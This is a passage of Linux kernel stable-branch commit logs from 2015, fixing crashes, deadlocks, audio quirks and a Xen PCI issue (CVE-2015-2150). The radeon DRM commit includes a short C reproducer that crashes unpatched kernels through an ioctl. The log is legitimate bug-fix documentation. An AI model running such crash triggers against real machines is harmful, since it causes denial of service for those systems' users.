("x86 vDSO: reorder vdso32 code") from 2.6.25 replaced .org __kernel_vsyscall+32,0x90 by ALIGN right before __kernel_sigreturn. Of course, ALIGN need not generate any NOP in there. Esp. gcc5 collapses vclock_gettime.o and int80.o together with no generated NOPs as "ALIGN". So fix this by adding to that point at least a single NOP and make the function ALIGN possibly with more NOPs then. Kudos for reporting and diagnosing should go to Richard. Reported-by: Richard Biener Signed-off-by: Jiri Slaby Acked-by: Andy Lutomirski Cc: Borislav Petkov Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1425543211-12542-1-git-send-email-jslaby@suse.cz Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0e7e894576a6c7f6330de8aef2773629d82ed31d Author: Oleg Nesterov Date: Fri Mar 13 09:53:10 2015 +0100 x86/fpu: Drop_fpu() should not assume that tsk equals current commit f4c3686386393c120710dd34df2a74183ab805fd upstream. drop_fpu() does clear_used_math() and usually this is correct because tsk == current. However switch_fpu_finish()->restore_fpu_checking() is called before __switch_to() updates the "current_task" variable. If it fails, we will wrongly clear the PF_USED_MATH flag of the previous task. So use clear_stopped_child_used_math() instead. Signed-off-by: Oleg Nesterov Signed-off-by: Borislav Petkov Reviewed-by: Rik van Riel Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Dave Hansen Cc: Fenghua Yu Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Pekka Riikonen Cc: Quentin Casasnovas Cc: Suresh Siddha Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20150309171041.GB11388@redhat.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit efc6ab7cf81aaf52fa3c5bdd3ab91f47ee5aa923 Author: Oleg Nesterov Date: Fri Mar 13 09:53:09 2015 +0100 x86/fpu: Avoid math_state_restore() without used_math() in __restore_xstate_sig() commit a7c80ebcac3068b1c3cb27d538d29558c30010c8 upstream. math_state_restore() assumes it is called with irqs disabled, but this is not true if the caller is __restore_xstate_sig(). This means that if ia32_fxstate == T and __copy_from_user() fails, __restore_xstate_sig() returns with irqs disabled too. This triggers: BUG: sleeping function called from invalid context at kernel/locking/rwsem.c:41 dump_stack ___might_sleep ? _raw_spin_unlock_irqrestore __might_sleep down_read ? _raw_spin_unlock_irqrestore print_vma_addr signal_fault sys32_rt_sigreturn Change __restore_xstate_sig() to call set_used_math() unconditionally. This avoids enabling and disabling interrupts in math_state_restore(). If copy_from_user() fails, we can simply do fpu_finit() by hand. [ Note: this is only the first step. math_state_restore() should not check used_math(), it should set this flag. While init_fpu() should simply die. ] Signed-off-by: Oleg Nesterov Signed-off-by: Borislav Petkov Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Dave Hansen Cc: Fenghua Yu Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Pekka Riikonen Cc: Quentin Casasnovas Cc: Rik van Riel Cc: Suresh Siddha Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20150307153844.GB25954@redhat.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ecc512c6409e4c733361dd7fac66d213a641e25b Author: Stephan Mueller Date: Thu Mar 12 09:17:51 2015 +0100 crypto: aesni - fix memory usage in GCM decryption commit ccfe8c3f7e52ae83155cb038753f4c75b774ca8a upstream. The kernel crypto API logic requires the caller to provide the length of (ciphertext || authentication tag) as cryptlen for the AEAD decryption operation. Thus, the cipher implementation must calculate the size of the plaintext output itself and cannot simply use cryptlen. The RFC4106 GCM decryption operation tries to overwrite cryptlen memory in req->dst. As the destination buffer for decryption only needs to hold the plaintext memory but cryptlen references the input buffer holding (ciphertext || authentication tag), the assumption of the destination buffer length in RFC4106 GCM operation leads to a too large size. This patch simply uses the already calculated plaintext size. In addition, this patch fixes the offset calculation of the AAD buffer pointer: as mentioned before, cryptlen already includes the size of the tag. Thus, the tag does not need to be added. With the addition, the AAD will be written beyond the already allocated buffer. Note, this fixes a kernel crash that can be triggered from user space via AF_ALG(aead) -- simply use the libkcapi test application from [1] and update it to use rfc4106-gcm-aes. Using [1], the changes were tested using CAVS vectors to demonstrate that the crypto operation still delivers the right results. [1] http://www.chronox.de/libkcapi.html CC: Tadeusz Struk Signed-off-by: Stephan Mueller Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4bacafc32dbbcf3c069ab1f3e2e548b13994a9cf Author: James Bottomley Date: Wed Mar 4 16:18:33 2015 -0800 libsas: Fix Kernel Crash in smp_execute_task commit 6302ce4d80aa82b3fdb5c5cd68e7268037091b47 upstream. This crash was reported: [ 366.947370] sd 3:0:1:0: [sdb] Spinning up disk.... [ 368.804046] BUG: unable to handle kernel NULL pointer dereference at (null) [ 368.804072] IP: [] __mutex_lock_common.isra.7+0x9c/0x15b [ 368.804098] PGD 0 [ 368.804114] Oops: 0002 [#1] SMP [ 368.804143] CPU 1 [ 368.804151] Modules linked in: sg netconsole s3g(PO) uinput joydev hid_multitouch usbhid hid snd_hda_codec_via cpufreq_userspace cpufreq_powersave cpufreq_stats uhci_hcd cpufreq_conservative snd_hda_intel snd_hda_codec snd_hwdep snd_pcm sdhci_pci snd_page_alloc sdhci snd_timer snd psmouse evdev serio_raw pcspkr soundcore xhci_hcd shpchp s3g_drm(O) mvsas mmc_core ahci libahci drm i2c_core acpi_cpufreq mperf video processor button thermal_sys dm_dmirror exfat_fs exfat_core dm_zcache dm_mod padlock_aes aes_generic padlock_sha iscsi_target_mod target_core_mod configfs sswipe libsas libata scsi_transport_sas picdev via_cputemp hwmon_vid fuse parport_pc ppdev lp parport autofs4 ext4 crc16 mbcache jbd2 sd_mod crc_t10dif usb_storage scsi_mod ehci_hcd usbcore usb_common [ 368.804749] [ 368.804764] Pid: 392, comm: kworker/u:3 Tainted: P W O 3.4.87-logicube-ng.22 #1 To be filled by O.E.M. To be filled by O.E.M./EPIA-M920 [ 368.804802] RIP: 0010:[] [] __mutex_lock_common.isra.7+0x9c/0x15b [ 368.804827] RSP: 0018:ffff880117001cc0 EFLAGS: 00010246 [ 368.804842] RAX: 0000000000000000 RBX: ffff8801185030d0 RCX: ffff88008edcb420 [ 368.804857] RDX: 0000000000000000 RSI: 0000000000000002 RDI: ffff8801185030d4 [ 368.804873] RBP: ffff8801181531c0 R08: 0000000000000020 R09: 00000000fffffffe [ 368.804885] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8801185030d4 [ 368.804899] R13: 0000000000000002 R14: ffff880117001fd8 R15: ffff8801185030d8 [ 368.804916] FS: 0000000000000000(0000) GS:ffff88011fc80000(0000) knlGS:0000000000000000 [ 368.804931] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 368.804946] CR2: 0000000000000000 CR3: 000000000160b000 CR4: 00000000000006e0 [ 368.804962] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 368.804978] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 368.804995] Process kworker/u:3 (pid: 392, threadinfo ffff880117000000, task ffff8801181531c0) [ 368.805009] Stack: [ 368.805017] ffff8801185030d8 0000000000000000 ffffffff8161ddf0 ffffffff81056f7c [ 368.805062] 000000000000b503 ffff8801185030d0 ffff880118503000 0000000000000000 [ 368.805100] ffff8801185030d0 ffff8801188b8000 ffff88008edcb420 ffffffff813583ac [ 368.805135] Call Trace: [ 368.805153] [] ? up+0xb/0x33 [ 368.805168] [] ? mutex_lock+0x16/0x25 [ 368.805194] [] ? smp_execute_task+0x4e/0x222 [libsas] [ 368.805217] [] ? sas_find_bcast_dev+0x3c/0x15d [libsas] [ 368.805240] [] ? sas_find_bcast_dev+0x6f/0x15d [libsas] [ 368.805264] [] ? sas_ex_revalidate_domain+0x37/0x2ec [libsas] [ 368.805280] [] ? printk+0x43/0x48 [ 368.805296] [] ? _raw_spin_unlock_irqrestore+0xc/0xd [ 368.805318] [] ? sas_revalidate_domain+0x85/0xb6 [libsas] [ 368.805336] [] ? process_one_work+0x151/0x27c [ 368.805351] [] ? worker_thread+0xbb/0x152 [ 368.805366] [] ? manage_workers.isra.29+0x163/0x163 [ 368.805382] [] ? kthread+0x79/0x81 [ 368.805399] [] ? kernel_thread_helper+0x4/0x10 [ 368.805416] [] ? kthread_flush_work_fn+0x9/0x9 [ 368.805431] [] ? gs_change+0x13/0x13 [ 368.805442] Code: 83 7d 30 63 7e 04 f3 90 eb ab 4c 8d 63 04 4c 8d 7b 08 4c 89 e7 e8 fa 15 00 00 48 8b 43 10 4c 89 3c 24 48 89 63 10 48 89 44 24 08 <48> 89 20 83 c8 ff 48 89 6c 24 10 87 03 ff c8 74 35 4d 89 ee 41 [ 368.805851] RIP [] __mutex_lock_common.isra.7+0x9c/0x15b [ 368.805877] RSP [ 368.805886] CR2: 0000000000000000 [ 368.805899] ---[ end trace b720682065d8f4cc ]--- It's directly caused by 89d3cf6 [SCSI] libsas: add mutex for SMP task execution, but shows a deeper cause: expander functions expect to be able to cast to and treat domain devices as expanders. The correct fix is to only do expander discover when we know we've got an expander device to avoid wrongly casting a non-expander device. Reported-by: Praveen Murali Tested-by: Praveen Murali Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34a2798490b03c437b14b78aa750878ef1c27ab2 Author: Jan Beulich Date: Wed Mar 11 13:51:17 2015 +0000 xen-pciback: limit guest control of command register commit af6fc858a35b90e89ea7a7ee58e66628c55c776b upstream. Otherwise the guest can abuse that control to cause e.g. PCIe Unsupported Request responses by disabling memory and/or I/O decoding and subsequently causing (CPU side) accesses to the respective address ranges, which (depending on system configuration) may be fatal to the host. Note that to alter any of the bits collected together as PCI_COMMAND_GUEST permissive mode is now required to be enabled globally or on the specific device. This is CVE-2015-2150 / XSA-120. Signed-off-by: Jan Beulich Reviewed-by: Konrad Rzeszutek Wilk Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6af58d77b8e3f976448df6c857cd05014d754b2f Author: Ryusuke Konishi Date: Thu Mar 12 16:26:00 2015 -0700 nilfs2: fix deadlock of segment constructor during recovery commit 283ee1482f349d6c0c09dfb725db5880afc56813 upstream. According to a report from Yuxuan Shui, nilfs2 in kernel 3.19 got stuck during recovery at mount time. The code path that caused the deadlock was as follows: nilfs_fill_super() load_nilfs() nilfs_salvage_orphan_logs() * Do roll-forwarding, attach segment constructor for recovery, and kick it. nilfs_segctor_thread() nilfs_segctor_thread_construct() * A lock is held with nilfs_transaction_lock() nilfs_segctor_do_construct() nilfs_segctor_drop_written_files() iput() iput_final() write_inode_now() writeback_single_inode() __writeback_single_inode() do_writepages() nilfs_writepage() nilfs_construct_dsync_segment() nilfs_transaction_lock() --> deadlock This can happen if commit 7ef3ff2fea8b ("nilfs2: fix deadlock of segment constructor over I_SYNC flag") is applied and roll-forward recovery was performed at mount time. The roll-forward recovery can happen if datasync write is done and the file system crashes immediately after that. For instance, we can reproduce the issue with the following steps: < nilfs2 is mounted on /nilfs (device: /dev/sdb1) > # dd if=/dev/zero of=/nilfs/test bs=4k count=1 && sync # dd if=/dev/zero of=/nilfs/test conv=notrunc oflag=dsync bs=4k count=1 && reboot -nfh < the system will immediately reboot > # mount -t nilfs2 /dev/sdb1 /nilfs The deadlock occurs because iput() can run segment constructor through writeback_single_inode() if MS_ACTIVE flag is not set on sb->s_flags. The above commit changed segment constructor so that it calls iput() asynchronously for inodes with i_nlink == 0, but that change was imperfect. This fixes the another deadlock by deferring iput() in segment constructor even for the case that mount is not finished, that is, for the case that MS_ACTIVE flag is not set. Signed-off-by: Ryusuke Konishi Reported-by: Yuxuan Shui Tested-by: Ryusuke Konishi Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 030becf77c94c9b1748fec5546c8c9f4dadf1040 Author: Doug Anderson Date: Tue Mar 3 15:20:47 2015 -0800 regulator: core: Fix enable GPIO reference counting commit 29d62ec5f87fbeec8413e2215ddad12e7f972e4c upstream. Normally _regulator_do_enable() isn't called on an already-enabled rdev. That's because the main caller, _regulator_enable() always calls _regulator_is_enabled() and only calls _regulator_do_enable() if the rdev was not already enabled. However, there is one caller of _regulator_do_enable() that doesn't check: regulator_suspend_finish(). While we might want to make regulator_suspend_finish() behave more like _regulator_enable(), it's probably also a good idea to make _regulator_do_enable() robust if it is called on an already enabled rdev. At the moment, _regulator_do_enable() is _not_ robust for already enabled rdevs if we're using an ena_pin. Each time _regulator_do_enable() is called for an rdev using an ena_pin the reference count of the ena_pin is incremented even if the rdev was already enabled. This is not as intended because the ena_pin is for something else: for keeping track of how many active rdevs there are sharing the same ena_pin. Here's how the reference counting works here: * Each time _regulator_enable() is called we increment rdev->use_count, so _regulator_enable() calls need to be balanced with _regulator_disable() calls. * There is no explicit reference counting in _regulator_do_enable() which is normally just a warapper around rdev->desc->ops->enable() with code for supporting delays. It's not expected that the "ops->enable()" call do reference counting. * Since regulator_ena_gpio_ctrl() does have reference counting (handling the sharing of the pin amongst multiple rdevs), we shouldn't call it if the current rdev is already enabled. Note that as part of this we cleanup (remove) the initting of ena_gpio_state in regulator_register(). In _regulator_do_enable(), _regulator_do_disable() and _regulator_is_enabled() is is clear that ena_gpio_state should be the state of whether this particular rdev has requested the GPIO be enabled. regulator_register() was initting it as the actual state of the pin. Fixes: 967cfb18c0e3 ("regulator: core: manage enable GPIO list") Signed-off-by: Doug Anderson Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da81a573ff7bbb476e0d10c1292fea88f99f4739 Author: Javier Martinez Canillas Date: Mon Mar 2 21:40:39 2015 +0100 regulator: Only enable disabled regulators on resume commit 0548bf4f5ad6fc3bd93c4940fa48078b34609682 upstream. The _regulator_do_enable() call ought to be a no-op when called on an already-enabled regulator. However, as an optimization _regulator_enable() doesn't call _regulator_do_enable() on an already enabled regulator. That means we never test the case of calling _regulator_do_enable() during normal usage and there may be hidden bugs or warnings. We have seen warnings issued by the tps65090 driver and bugs when using the GPIO enable pin. Let's match the same optimization that _regulator_enable() in regulator_suspend_finish(). That may speed up suspend/resume and also avoids exposing hidden bugs. [Use much clearer commit message from Doug Anderson] Signed-off-by: Javier Martinez Canillas Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08c4042fb3df55843cba2b4e0cc73fc7418a45b9 Author: Takashi Iwai Date: Mon Mar 16 10:18:08 2015 +0100 ALSA: hda - Treat stereo-to-mono mix properly commit cc261738add93947d138d2fabad9f4dbed4e5c00 upstream. The commit [ef403edb7558: ALSA: hda - Don't access stereo amps for mono channel widgets] fixed the handling of mono widgets in general, but it still misses an exceptional case: namely, a mono mixer widget taking a single stereo input. In this case, it has stereo volumes although it's a mono widget, and thus we have to take care of both left and right input channels, as stated in HD-audio spec ("7.1.3 Widget Interconnection Rules"). This patch covers this missing piece by adding proper checks of stereo amps in both the generic parser and the proc output codes. Reported-by: Raymond Yau Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 036428db676f4caba2d48cd8f22f840cc4b900e5 Author: Takashi Iwai Date: Thu Mar 12 20:47:15 2015 +0100 ALSA: hda - Add workaround for MacBook Air 5,2 built-in mic commit 2ddee91abe9cc34ddb6294ee14702b46ae07d460 upstream. MacBook Air 5,2 has the same problem as MacBook Pro 8,1 where the built-in mic records only the right channel. Apply the same workaround as MBP8,1 to spread the mono channel via a Cirrus codec vendor-specific COEF setup. Reported-and-tested-by: Vasil Zlatanov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb7bd305fae44f3aeed68d6a696e201cf614625e Author: Takashi Iwai Date: Thu Mar 12 20:28:04 2015 +0100 ALSA: hda - Set single_adc_amp flag for CS420x codecs commit bad994f5b4ab57eec8d56c180edca00505c3eeb2 upstream. CS420x codecs seem to deal only the single amps of ADC nodes even though the nodes receive multiple inputs. This leads to the inconsistent amp value after S3/S4 resume, for example. The fix is just to set codec->single_adc_amp flag. Then the driver handles these ADC amps as if single connections. Reported-and-tested-by: Vasil Zlatanov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e855bd52d365b1a48731f20d5aa1437cf5535a68 Author: Takashi Iwai Date: Thu Mar 12 08:30:11 2015 +0100 ALSA: hda - Don't access stereo amps for mono channel widgets commit ef403edb75580a3ec5d155f5de82155f0419c621 upstream. The current HDA generic parser initializes / modifies the amp values always in stereo, but this seems causing the problem on ALC3229 codec that has a few mono channel widgets: namely, these mono widgets react to actions for both channels equally. In the driver code, we do care the mono channel and create a control only for the left channel (as defined in HD-audio spec) for such a node. When the control is updated, only the left channel value is changed. However, in the resume, the right channel value is also restored from the initial value we took as stereo, and this overwrites the left channel value. This ends up being the silent output as the right channel has been never touched and remains muted. This patch covers the places where unconditional stereo amp accesses are done and converts to the conditional accesses. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94581 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0726269ee60f29ae2403f5182fda479000eacd6 Author: Takashi Iwai Date: Wed Mar 11 16:05:19 2015 +0100 ALSA: hda - Fix built-in mic on Compaq Presario CQ60 commit ddb6ca75b5671b8fbf1909bc588c449ee74b34f9 upstream. Compaq Presario CQ60 laptop with CX20561 gives a wrong pin for the built-in mic NID 0x17 instead of NID 0x1d, and it results in the non-working mic. This patch just remaps the pin correctly via fixup. Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=920604 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1e1a3abd13d36321a642332c1ad3c2aebe28461 Author: Takashi Iwai Date: Wed Mar 11 18:12:49 2015 +0100 ALSA: control: Add sanity checks for user ctl id name string commit be3bb8236db2d0fcd705062ae2e2a9d75131222f upstream. There was no check about the id string of user control elements, so we accepted even a control element with an empty string, which is obviously bogus. This patch adds more sanity checks of id strings. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b27ecce2e646addfa5af0d1640855150778f00a0 Author: Alexander Sverdlin Date: Fri Feb 27 16:30:21 2015 +0100 spi: pl022: Fix race in giveback() leading to driver lock-up commit cd6fa8d2ca53cac3226fdcffcf763be390abae32 upstream. Commit fd316941c ("spi/pl022: disable port when unused") introduced a race, which leads to possible driver lock up (easily reproducible on SMP). The problem happens in giveback() function where the completion of the transfer is signalled to SPI subsystem and then the HW SPI controller is disabled. Another transfer might be setup in between, which brings driver in locked-up state. Exact event sequence on SMP: core0 core1 => pump_transfers() /* message->state == STATE_DONE */ => giveback() => spi_finalize_current_message() => pl022_unprepare_transfer_hardware() => pl022_transfer_one_message => flush() => do_interrupt_dma_transfer() => set_up_next_transfer() /* Enable SSP, turn on interrupts */ writew((readw(SSP_CR1(pl022->virtbase)) | SSP_CR1_MASK_SSE), SSP_CR1(pl022->virtbase)); ... => pl022_interrupt_handler() => readwriter() /* disable the SPI/SSP operation */ => writew((readw(SSP_CR1(pl022->virtbase)) & (~SSP_CR1_MASK_SSE)), SSP_CR1(pl022->virtbase)); Lockup! SPI controller is disabled and the data will never be received. Whole SPI subsystem is waiting for transfer ACK and blocked. So, only signal transfer completion after disabling the controller. Fixes: fd316941c (spi/pl022: disable port when unused) Signed-off-by: Alexander Sverdlin Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit df12da3787a00cc1537182e0b121f807a1c9b9e6 Author: jmlatten@linux.vnet.ibm.com Date: Fri Feb 20 18:11:24 2015 -0600 tpm/ibmvtpm: Additional LE support for tpm_ibmvtpm_send commit 62dfd912ab3b5405b6fe72d0135c37e9648071f1 upstream. Problem: When IMA and VTPM are both enabled in kernel config, kernel hangs during bootup on LE OS. Why?: IMA calls tpm_pcr_read() which results in tpm_ibmvtpm_send and tpm_ibmtpm_recv getting called. A trace showed that tpm_ibmtpm_recv was hanging. Resolution: tpm_ibmtpm_recv was hanging because tpm_ibmvtpm_send was sending CRQ message that probably did not make much sense to phype because of Endianness. The fix below sends correctly converted CRQ for LE. This was not caught before because it seems IMA is not enabled by default in kernel config and IMA exercises this particular code path in vtpm. Tested with IMA and VTPM enabled in kernel config and VTPM enabled on both a BE OS and a LE OS ppc64 lpar. This exercised CRQ and TPM command code paths in vtpm. Patch is against Peter's tpmdd tree on github which included Vicky's previous vtpm le patches. Signed-off-by: Joy Latten Reviewed-by: Ashley Lai Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d079117716654fac229dbfa6287bc8d04ccac429 Author: Oliver Hartkopp Date: Mon Feb 23 20:37:54 2015 +0100 can: add missing initialisations in CAN related skbuffs commit 969439016d2cf61fef53a973d7e6d2061c3793b1 upstream. When accessing CAN network interfaces with AF_PACKET sockets e.g. by dhclient this can lead to a skb_under_panic due to missing skb initialisations. Add the missing initialisations at the CAN skbuff creation times on driver level (rx path) and in the network layer (tx path). Reported-by: Austin Schuh Reported-by: Daniel Steer Signed-off-by: Oliver Hartkopp Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a5f2ff6fee7695c81e818ed34cb201a98ceab3c1 Author: Russell King Date: Fri Mar 6 10:49:21 2015 +0000 Change email address for 8250_pci commit f2e0ea861117bda073d1d7ffbd3120c07c0d5d34 upstream. I'm still receiving reports to my email address, so let's point this at the linux-serial mailing list instead. Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 151bb6459124e9ddb96beb7d5ae03c2a7f932296 Author: Michael S. Tsirkin Date: Thu Mar 5 10:45:30 2015 +1030 virtio_console: init work unconditionally commit 4f6e24ed9de8634d6471ef86b382cba6d4e57ca8 upstream. when multiport is off, we don't initialize config work, but we then cancel uninitialized control_work on freeze. Signed-off-by: Michael S. Tsirkin Reviewed-by: Amit Shah Signed-off-by: Rusty Russell Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9320ed968dddf3bec0ec244153ffbb1ea547c907 Author: Christian König Date: Thu Feb 19 09:40:28 2015 +0100 drm/radeon: drop setting UPLL to sleep mode commit a17d4996e051e78d164989b894608cf37cd5110b upstream. Just keep it working, seems to fix some PLL problems. Bug: https://bugs.freedesktop.org/show_bug.cgi?id=73378 Signed-off-by: Christian König Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b40fa73deb0fa55b292df41438178510579d873 Author: Alex Deucher Date: Mon Mar 2 20:39:56 2015 -0500 drm/radeon: do a posting read in rs600_set_irq commit 54acf107e4e66d1f4a697e08a7f60dba9fcf07c3 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1518484386845d442dfb5a2da0c34b0cd39784a7 Author: Alex Deucher Date: Mon Mar 2 20:43:53 2015 -0500 drm/radeon: do a posting read in si_set_irq commit 0586915ec10d0ae60de5cd3381ad25a704760402 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7cdd79be0f8dc66bea8bad688d592455ef6ca506 Author: Alex Deucher Date: Mon Mar 2 20:41:31 2015 -0500 drm/radeon: do a posting read in r600_set_irq commit 9d1393f23d5656cdd5f368efd60694d4aeed81d3 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37cb488b499dd6d11f8e8d82607a5f8c14c93295 Author: Alex Deucher Date: Mon Mar 2 20:36:26 2015 -0500 drm/radeon: do a posting read in r100_set_irq commit f957063fee6392bb9365370db6db74dc0b2dce0a upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a44a2434b1dbff12654c01055997db3113d30dd Author: Alex Deucher Date: Mon Mar 2 20:42:53 2015 -0500 drm/radeon: do a posting read in evergreen_set_irq commit c320bb5f6dc0cb88a811cbaf839303e0a3916a92 upstream. To make sure the writes go through the pci bridge. bug: https://bugzilla.kernel.org/show_bug.cgi?id=90741 Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37b85ff7e52319414b9d341cc1e6bba15e8def00 Author: Tommi Rantala Date: Mon Mar 2 21:36:07 2015 +0200 drm/radeon: fix DRM_IOCTL_RADEON_CS oops commit a28b2a47edcd0cb7c051b445f71a426000394606 upstream. Passing zeroed drm_radeon_cs struct to DRM_IOCTL_RADEON_CS produces the following oops. Fix by always calling INIT_LIST_HEAD() to avoid the crash in list_sort(). ---------------------------------- #include #include #include #include #include static const struct drm_radeon_cs cs; int main(int argc, char **argv) { return ioctl(open(argv[1], O_RDWR), DRM_IOCTL_RADEON_CS, &cs); } ---------------------------------- [ttrantal@test2 ~]$ ./main /dev/dri/card0 [ 46.904650] BUG: unable to handle kernel NULL pointer dereference at (null) [ 46.905022] IP: [] list_sort+0x42/0x240 [ 46.905022] PGD 68f29067 PUD 688b5067 PMD 0 [ 46.905022] Oops: 0002 [#1] SMP [ 46.905022] CPU: 0 PID: 2413 Comm: main Not tainted 4.0.0-rc1+ #58 [ 46.905022] Hardware name: Hewlett-Packard HP Compaq dc5750 Small Form Factor/0A64h, BIOS 786E3 v02.10 01/25/2007 [ 46.905022] task: ffff880058e2bcc0 ti: ffff880058e64000 task.ti: ffff880058e64000 [ 46.905022] RIP: 0010:[] [] list_sort+0x42/0x240 [ 46.905022] RSP: 0018:ffff880058e67998 EFLAGS: 00010246 [ 46.905022] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 [ 46.905022] RDX: ffffffff81644410 RSI: ffff880058e67b40 RDI: ffff880058e67a58 [ 46.905022] RBP: ffff880058e67a88 R08: 0000000000000000 R09: 0000000000000000 [ 46.905022] R10: ffff880058e2bcc0 R11: ffffffff828e6ca0 R12: ffffffff81644410 [ 46.905022] R13: ffff8800694b8018 R14: 0000000000000000 R15: ffff880058e679b0 [ 46.905022] FS: 00007fdc65a65700(0000) GS:ffff88006d600000(0000) knlGS:0000000000000000 [ 46.905022] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 46.905022] CR2: 0000000000000000 CR3: 0000000058dd9000 CR4: 00000000000006f0 [ 46.905022] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 46.905022] DR3: 0000000000000000 DR6: 00000000ffff4ff0 DR7: 0000000000000400 [ 46.905022] Stack: [ 46.905022] ffff880058e67b40 ffff880058e2bcc0 ffff880058e67a78 0000000000000000 [ 46.905022] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 [ 46.905022] 0000000000000000 0000000000000000 0000000000000000 0000000000000000 [ 46.905022] Call Trace: [ 46.905022] [] radeon_cs_parser_fini+0x195/0x220 [ 46.905022] [] radeon_cs_ioctl+0xa9/0x960 [ 46.905022] [] drm_ioctl+0x19c/0x640 [ 46.905022] [] ? trace_hardirqs_on_caller+0xfd/0x1c0 [ 46.905022] [] ? trace_hardirqs_on+0xd/0x10 [ 46.905022] [] radeon_drm_ioctl+0x46/0x80 [ 46.905022] [] do_vfs_ioctl+0x318/0x570 [ 46.905022] [] ? selinux_file_ioctl+0x56/0x110 [ 46.905022] [] SyS_ioctl+0x81/0xa0 [ 46.905022] [] system_call_fastpath+0x12/0x17 [ 46.905022] Code: 48 89 b5 10 ff ff ff 0f 84 03 01 00 00 4c 8d bd 28 ff ff ff 31 c0 48 89 fb b9 15 00 00 00 49 89 d4 4c 89 ff f3 48 ab 48 8b 46 08 <48> c7 00 00 00 00 00 48 8b 0e 48 85 c9 0f 84 7d 00 00 00 c7 85 [ 46.905022] RIP [] list_sort+0x42/0x240 [ 46.905022] RSP [ 46.905022] CR2: 0000000000000000 [ 47.149253] ---[ end trace 09576b4e8b2c20b8 ]--- Reviewed-by: Christian König Signed-off-by: Tommi Rantala Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bb97b576a428f46fb039c6b1ea05ae2e9f2c76aa Author: Eric Dumazet Date: Mon Nov 17 23:06:20 2014 -0800 tcp: make connect() mem charging friendly [ Upstream commit 355a901e6cf1b2b763ec85caa2a9f04fbcc4ab4a ] While working on sk_forward_alloc problems reported by Denys Fedoryshchenko, we found that tcp connect() (and fastopen) do not call sk_wmem_schedule() for SYN packet (and/or SYN/DATA packet), so sk_forward_alloc is negative while connect is in progress. We can fix this by calling regular sk_stream_alloc_skb() both for the SYN packet (in tcp_connect()) and the syn_data packet in tcp_send_syn_data() Then, tcp_send_syn_data() can avoid copying syn_data as we simply can manipulate syn_data->cb[] to remove SYN flag (and increment seq) Instead of open coding memcpy_fromiovecend(), simply use this helper. This leaves in socket write queue clean fast clone skbs. This was tested against our fastopen packetdrill tests. Reported-by: Denys Fedoryshchenko Signed-off-by: Eric Dumazet Acked-by: Yuchung Cheng Signed-off-by: David S. Miller Signed-off-by: Greg 